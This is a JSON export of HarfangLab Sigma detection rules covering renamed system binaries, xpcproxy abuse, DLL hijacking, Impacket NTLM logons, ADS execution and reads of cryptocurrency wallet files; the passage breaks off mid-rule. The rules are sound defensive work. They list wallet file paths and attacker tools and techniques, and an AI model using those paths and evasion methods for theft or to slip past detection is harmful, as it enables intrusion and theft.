+  "content": "title: Suspicious Renamed Binary Executed\nid: 52676a08-8666-444d-83c4-cd0d831e19b0\ndescription: |\n    Detects the execution of a suspicious renamed binary.\n    Attackers may rename legitimate Microsoft binaries to avoid detection.\n    This rule detects incoherency between the name of the file being executed its PE original file name.\n    Is it recommended to analyze the executed binary and search for signs of malicious content or behavior.\nreferences:\n    - https://attack.mitre.org/techniques/T1036/003/\ndate: 2020/12/22\nmodified: 2025/12/16\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1036.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_powershell:\n        OriginalFileName: 'PowerShell.EXE'\n    filter_powershell:\n        Image|endswith: '\\powershell.exe'\n    selection_cmd:\n        OriginalFileName: 'Cmd.Exe'\n    filter_cmd:\n        Image|endswith: '\\cmd.exe'\n    selection_mshta:\n        OriginalFileName: 'MSHTA.EXE'\n    filter_mshta:\n        Image|endswith: '\\mshta.exe'\n    selection_cscript:\n        OriginalFileName: 'cscript.exe'\n    filter_cscript:\n        Image|endswith: '\\cscript.exe'\n    selection_wscript:\n        OriginalFileName: 'wscript.exe'\n    filter_wscript:\n        Image|endswith: '\\wscript.exe'\n    selection_certutil:\n        OriginalFileName: 'certutil.exe'\n    filter_certutil:\n        Image|endswith: '\\certutil.exe'\n    selection_tzsync:\n        OriginalFileName: 'tzsync.exe'\n    filter_tzsync:\n        Image|endswith: '\\tzsync.exe'\n    selection_taskhost:\n        OriginalFileName: 'taskhost.exe'\n    filter_taskhost:\n        Image|endswith: '\\taskhost.exe'\n    selection_rundll:\n        OriginalFileName: 'RUNDLL32.EXE'\n    filter_rundll:\n        Image|endswith: '\\rundll32.exe'\n    selection_svchost:\n        OriginalFileName: 'svchost.exe'\n    filter_svchost:\n        Image|endswith: '\\svchost.exe'\n    selection_dllhost:\n        OriginalFileName: 'dllhost.exe'\n    filter_dllhost:\n        Image|endswith: '\\dllhost.exe'\n    selection_msiexec:\n        OriginalFileName: 'msiexec.exe'\n    filter_msiexec:\n        Image|endswith: '\\msiexec.exe'\n    selection_csrss:\n        OriginalFileName: 'CSRSS.Exe'\n    filter_csrss:\n        Image|endswith: '\\csrss.exe'\n    selection_winlogon:\n        OriginalFileName: 'WINLOGON.EXE'\n    filter_winlogon:\n        - Image|endswith: '\\winlogon.exe'\n        - InternalName: 'WinlogonGUILauncher.exe'\n    selection_wininit:\n        OriginalFileName: 'WinInit.EXE'\n    filter_wininit:\n        Image|endswith: '\\wininit.exe'\n    selection_werfault:\n        OriginalFileName: 'WerFault.EXE'\n    filter_werfault:\n        Image|endswith: '\\WerFault.exe'\n    selection_schtasks:\n        OriginalFileName:\n            # Windows 7 variant with typo.\n            - 'sctasks.exe'\n            - 'schtasks.exe'\n    filter_schtasks:\n        Image|endswith: '\\schtasks.exe'\n    selection_installutil:\n        OriginalFileName: 'InstallUtil.exe'\n    filter_installutil:\n        Image|endswith: '\\InstallUtil.exe'\n    selection_rclone:\n        OriginalFileName: 'rclone.exe'\n    filter_rclone:\n        Image|endswith: '\\rclone.exe'\n    selection_plink:\n        OriginalFileName: 'Plink'\n    filter_plink:\n        Image|endswith: '\\plink.exe'\n    selection_conhost:\n        OriginalFileName: 'conhost.exe'\n    filter_conhost:\n        Image|endswith: '\\conhost.exe'\n    selection_msbuild:\n        OriginalFileName: 'MSBuild.exe'\n    filter_msbuild:\n        Image|endswith: '\\msbuild.exe'\n    selection_utilman:\n        OriginalFileName: 'utilman2.exe'\n    filter_utilman:\n        Image|endswith: '\\utilman.exe'\n    selection_regsvr32:\n        OriginalFileName: 'regsvr32.exe'\n    filter_regsvr32:\n        Image|endswith: '\\regsvr32.exe'\n\n    exclusion_msiexec:\n        - Image:\n            - '?:\\Windows\\Installer\\MSI????.tmp'\n            - '*\\Appdata\\Local\\Temp\\MSI????.tmp'\n          ParentImage:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n        - Image|startswith:\n            - '?:\\Windows\\Temp\\'\n            - '?:\\Windows\\SystemTemp\\'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\'\n          OriginalFileName: 'msiexec.exe'\n          CommandLine|contains: ' /X {????????-????-????-????-????????????}'\n\n    exclusion_pending_delete:\n        # c:\\windows\\winsxs\\temp\\pendingdeletes\\$$deleteme.svchost.exe.01d84a7f1118b17d.0040\n        Image: '?:\\windows\\winsxs\\temp\\pendingdeletes\\\\??deleteme.*.exe.*'\n\n    exclusion_asus_svchost:\n        #  bf7c5a8346f03d923aac78f262dbf456f15810e990c4b5fee0010d81741f6029\n        Image: '?:\\Windows\\SysWOW64\\AsHookDevice.exe'\n        ProcessSignature: 'ASUSTeK Computer Inc.'\n\n    exclusion_siemens:\n        CommandLine: '?:\\Windows\\Installer\\MSI???.tmp /c ?:\\Users\\\\*\\AppData\\Local\\Temp\\{????????-????-????-????-????????????}\\RemoveTBSAPP.bat'\n        OriginalFileName: 'cmd.exe'\n\n    exclusion_logmenim_plink:\n        Image:\n            - '?:\\Program Files\\LogMeNim\\LogMeNimSsh.exe'\n            - '?:\\Program Files (x86)\\LogMeNim\\LogMeNimSsh.exe'\n        ProcessSignature: 'ABTEL SARL'\n\n    exclusion_systemcenter:\n        ProcessImage: '?:\\program files\\common files\\microsoft system center *\\orchestrator\\extensions\\support\\ssh\\sshclient.exe'\n\n    exclusion_total_security:\n        ProcessParentImage: '?:\\Program Files (x86)\\360\\Total Security\\safemon\\QHActiveDefense.exe'\n\n    exclusion_agfa:\n        ProcessParentImage|startswith: '?:\\Program Files (x86)\\Agfa\\'\n        ProcessParentDescription: 'Qdoc France'\n        ProcessParentCompany: 'Agfa'\n\n    exclusion_avaya:\n        ProcessImage: '?:\\Program Files (x86)\\Avaya\\CMS Supervisor *\\acs_ssh.exe'\n        ProcessParentImage: '?:\\Program Files (x86)\\Avaya\\CMS Supervisor *\\acsCNTRL.exe'\n\n    exclusion_image:\n        ProcessImage:\n            - '?:\\Program Files\\Ab Initio\\Ab Initio GDE *\\Program Files\\ab_sshplink.exe'\n            - '?:\\Program Files (x86)\\Ab Initio\\Ab Initio GDE *\\Program Files\\ab_sshplink.exe'\n            - '?:\\Program Files (x86)\\ScriptLogic Corporation\\Security Explorer ?\\regsvr64.exe'\n            - '?:\\Program Files (x86)\\Bignox\\BigNoxVM\\RT\\regsvr32_wow64.exe'\n            - '?:\\Program Files\\Software Fix\\InstallUtil64.exe' # Lenovo\n            - '?:\\Program Files (x86)\\T&D Recorder (*)\\regsvr.exe'\n            - '?:\\Program Files\\iMC\\server\\bin\\plink??.exe'\n            - '?:\\IMC\\server\\bin\\plink??.exe'\n\n    condition: (\n                   (selection_powershell and not filter_powershell) or\n                   (selection_cmd and not filter_cmd) or\n                   (selection_mshta and not filter_mshta) or\n                   (selection_cscript and not filter_cscript) or\n                   (selection_wscript and not filter_wscript) or\n                   (selection_certutil and not filter_certutil) or\n                   (selection_tzsync and not filter_tzsync) or\n                   (selection_taskhost and not filter_taskhost) or\n                   (selection_rundll and not filter_rundll) or\n                   (selection_svchost and not filter_svchost) or\n                   (selection_dllhost and not filter_dllhost) or\n                   (selection_msiexec and not filter_msiexec) or\n                   (selection_csrss and not filter_csrss) or\n                   (selection_winlogon and not filter_winlogon) or\n                   (selection_wininit and not filter_wininit) or\n                   (selection_werfault and not filter_werfault) or\n                   (selection_schtasks and not filter_schtasks) or\n                   (selection_installutil and not filter_installutil) or\n                   (selection_rclone and not filter_rclone) or\n                   (selection_plink and not filter_plink) or\n                   (selection_conhost and not filter_conhost) or\n                   (selection_msbuild and not filter_msbuild) or\n                   (selection_regsvr32 and not filter_regsvr32) or\n                   (selection_utilman and not filter_utilman)\n              ) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "52676a08-8666-444d-83c4-cd0d831e19b0",
+  "rule_name": "Suspicious Renamed Binary Executed",
+  "rule_description": "Detects the execution of a suspicious renamed binary.\nAttackers may rename legitimate Microsoft binaries to avoid detection.\nThis rule detects incoherency between the name of the file being executed its PE original file name.\nIs it recommended to analyze the executed binary and search for signs of malicious content or behavior.\n",
+  "rule_creation_date": "2020-12-22",
+  "rule_modified_date": "2025-12-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "526f76da-f806-453c-a9f9-99a8a3dc4103",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598943Z",
+  "creation_date": "2026-03-23T11:45:34.598947Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598954Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/threat-detection/detecting-cve-2015-1130-on-mac-os-x-endpoints/",
+    "https://attack.mitre.org/techniques/T1559/003/"
+  ],
+  "name": "t1059_003_xpcproxy_spawn_process.yml",
+  "content": "title: Suspicious xpcproxy Execution\nid: 526f76da-f806-453c-a9f9-99a8a3dc4103\ndescription: |\n    Detects the execution of the xpcproxy process under suspicious conditions, either by launching a new program or being initiated with an uncommon command-line argument.\n    The xpcproxy utility is commonly used in macOS environments to facilitate communication between processes and can be abused to escalate privileges or execute commands with root access.\n    Malicious use of xpcproxy may involve it launching unauthorized applications or scripts, or as an exploitation of CVE-2015-1130.\n    It is recommended to investigate the program spawned or the actions made by xpcproxy to determine whether this action was legitimate.\nreferences:\n    - https://redcanary.com/blog/threat-detection/detecting-cve-2015-1130-on-mac-os-x-endpoints/\n    - https://attack.mitre.org/techniques/T1559/003/\ndate: 2024/06/26\nmodified: 2025/10/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1559.003\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_image:\n        - ParentImage: '/usr/libexec/xpcproxy'\n        - CommandLine|startswith: 'xpcproxy /'\n\n    # Filter-out missing parents\n    selection_parent:\n        ParentImage|contains: '?'\n\n    exclusion_glpi:\n        - ProcessImage: '/Applications/GLPI-Agent/bin/perl'\n        - ProcessCommandLine:\n            - \"sh -c exec security find-certificate -a -p > '/Applications/GLPI-Agent/var/keychain-export-*.pem' 2>/dev/null\"\n            - 'security find-certificate -a -p'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "526f76da-f806-453c-a9f9-99a8a3dc4103",
+  "rule_name": "Suspicious xpcproxy Execution",
+  "rule_description": "Detects the execution of the xpcproxy process under suspicious conditions, either by launching a new program or being initiated with an uncommon command-line argument.\nThe xpcproxy utility is commonly used in macOS environments to facilitate communication between processes and can be abused to escalate privileges or execute commands with root access.\nMalicious use of xpcproxy may involve it launching unauthorized applications or scripts, or as an exploitation of CVE-2015-1130.\nIt is recommended to investigate the program spawned or the actions made by xpcproxy to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2024-06-26",
+  "rule_modified_date": "2025-10-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1559.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "52762d00-7f7d-486e-85ae-511669cb63b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591475Z",
+  "creation_date": "2026-03-23T11:45:34.591479Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591487Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_uevappmonitor.yml",
+  "content": "title: DLL Hijacking via uevappmonitor.exe\nid: 52762d00-7f7d-486e-85ae-511669cb63b0\ndescription: |\n    Detects potential Windows DLL Hijacking via uevappmonitor.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'uevappmonitor.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.dll'\n            - '\\rsaenh.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "52762d00-7f7d-486e-85ae-511669cb63b0",
+  "rule_name": "DLL Hijacking via uevappmonitor.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via uevappmonitor.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "52b4f9ce-946f-4f26-affb-866346adb5c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617892Z",
+  "creation_date": "2026-03-23T11:45:34.617894Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617898Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0357/",
+    "https://attack.mitre.org/techniques/T1078/"
+  ],
+  "name": "t1078_impacket_authentication.yml",
+  "content": "title: Impacket NTLM Authentication with NULL Workstation Name Detected\nid: 52b4f9ce-946f-4f26-affb-866346adb5c0\ndescription: |\n    Detects a Windows security event log event without a workstation name.\n    These events are generated when connecting to a Windows workstation using a NULL workstation name.\n    This can be the result of Impacket NTLM Authentication.\n    Impacket is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols and is often used by attackers.\n    It is recommended to investigate the related timeline, to see if other suspicious actions were taken around the time of this event.\nreferences:\n    - https://attack.mitre.org/software/S0357/\n    - https://attack.mitre.org/techniques/T1078/\ndate: 2020/01/14\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.discovery\n    - attack.t1078\n    - attack.s0357\n    - classification.Windows.Source.EventLog\n    - classification.Windows.HackTool.Impacket\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection_ntlm:\n        #LogonProcessName: 'NtLmSsp' # Investigating name differences between versions\n        LogonProcessName: 'EXPERIMENTAL'\n        AuthenticationPackageName: 'NTLM'\n        LogonType: '3'\n\n    selection_workstation:\n        Workstation:\n            - '-'\n            - null\n        WorkstationName:\n            - '-'\n            - null\n\n    condition: all of selection_*\nlevel: low\n# level: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "52b4f9ce-946f-4f26-affb-866346adb5c0",
+  "rule_name": "Impacket NTLM Authentication with NULL Workstation Name Detected",
+  "rule_description": "Detects a Windows security event log event without a workstation name.\nThese events are generated when connecting to a Windows workstation using a NULL workstation name.\nThis can be the result of Impacket NTLM Authentication.\nImpacket is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols and is often used by attackers.\nIt is recommended to investigate the related timeline, to see if other suspicious actions were taken around the time of this event.\n",
+  "rule_creation_date": "2020-01-14",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "52d5939f-ceeb-494e-a325-7fa2a6295e74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087564Z",
+  "creation_date": "2026-03-23T11:45:34.087566Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087571Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://owasp.org/www-community/attacks/Windows_alternate_data_stream",
+    "https://lolbas-project.github.io/lolbas/Binaries/Wmic/",
+    "https://attack.mitre.org/techniques/T1564/004/"
+  ],
+  "name": "t1564_004_suspicious_execution_from_ads.yml",
+  "content": "title: Suspicious Process Execution from an ADS\nid: 52d5939f-ceeb-494e-a325-7fa2a6295e74\ndescription: |\n    Detects a process execution from an Alternate Data Stream (ADS).\n    Attackers can use ADS to hide malicious binaries to evade detection mechanisms.\n    It is recommended to investigate the started process for malicious actions.\nreferences:\n    - https://owasp.org/www-community/attacks/Windows_alternate_data_stream\n    - https://lolbas-project.github.io/lolbas/Binaries/Wmic/\n    - https://attack.mitre.org/techniques/T1564/004/\ndate: 2022/10/17\nmodified: 2025/04/24\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564.004\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessProcessName|contains: ':'\n        # Disable rule temporarily\n        sha256: '68b36ebc5324a2732edf8121f09754a115e0adc5914eee22eb99f2ebfaeed376'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "52d5939f-ceeb-494e-a325-7fa2a6295e74",
+  "rule_name": "Suspicious Process Execution from an ADS",
+  "rule_description": "Detects a process execution from an Alternate Data Stream (ADS).\nAttackers can use ADS to hide malicious binaries to evade detection mechanisms.\nIt is recommended to investigate the started process for malicious actions.\n",
+  "rule_creation_date": "2022-10-17",
+  "rule_modified_date": "2025-04-24",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "52fe691a-20e5-47ef-87f1-d8fc6bdef244",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626260Z",
+  "creation_date": "2026-03-23T11:45:34.626262Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626266Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1539/",
+    "https://attack.mitre.org/techniques/T1555/003/"
+  ],
+  "name": "t1552_004_read_crypto_wallets_sensitive_files_macos.yml",
+  "content": "title: Suspicious Access to Crypto Wallet Sensitive Files\nid: 52fe691a-20e5-47ef-87f1-d8fc6bdef244\ndescription: |\n    Detects a process reading sensitive cryptocurrency wallet files.\n    Adversaries may access these files in order to steal cryptocurrencies.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1539/\n    - https://attack.mitre.org/techniques/T1555/003/\ndate: 2024/06/18\nmodified: 2026/01/06\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1539\n    - attack.t1555.003\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Kind: 'read'\n        Path|startswith:\n            - '/Users/*/.electrum/wallets/' # deskwallets/Electrum\n            - '/Users/*/Library/Application Support/Coinomi/wallets/' # deskwallets/Coinomi\n            - '/Users/*/Library/Application Support/Exodus/' # deskwallets/Exodus\n            - '/Users/*/Library/Application Support/atomic/Local Storage/leveldb/' # deskwallets/Atomic\n            - '/Users/*/.walletwasabi/client/Wallets/' # deskwallets/Wasabi\n            - '/Users/*/Library/Application Support/Ledger Live/' # deskwallets/Ledger Live\n            - '/Users/*/Monero/wallets/' # deskwallets/Feather (Monero)\n            - '/Users/*/Library/Application Support/Bitcoin/wallets/' # deskwallets/Bitcoin Core\n            - '/Users/*/Library/Application Support/Litecoin/wallets/' # deskwallets/Litecoin Core\n            - '/Users/*/Library/Application Support/DashCore/wallets/' # deskwallets/Dash Core\n            - '/Users/*/.electrum-ltc/wallets/' # deskwallets/Electrum LTC\n            - '/Users/*/.electron-cash/wallets/' # deskwallets/Electron Cash\n            - '/Users/*/Library/Application Support/Guarda/' # deskwallets/Guarda\n            - '/Users/*/Library/Application Support/Dogecoin/wallets/' # deskwallets/Dogecoin Core\n            - '/Users/*/Library/Application Support/Binance/app-store.json'\n        ProcessImage|contains: '?'\n\n    filter_binance:\n        Image|endswith: '/Applications/Binance.app/Contents/MacOS/Binance'\n\n    filter_exodus:\n        Image|startswith: '/applications/exodus.app/contents/'\n\n   # Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n    exclusion_bitdefender:\n        Image: '/Library/Bitdefender/AVP/product/bin/BDLDaemon.app/Contents/MacOS/BDLDaemon'\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint 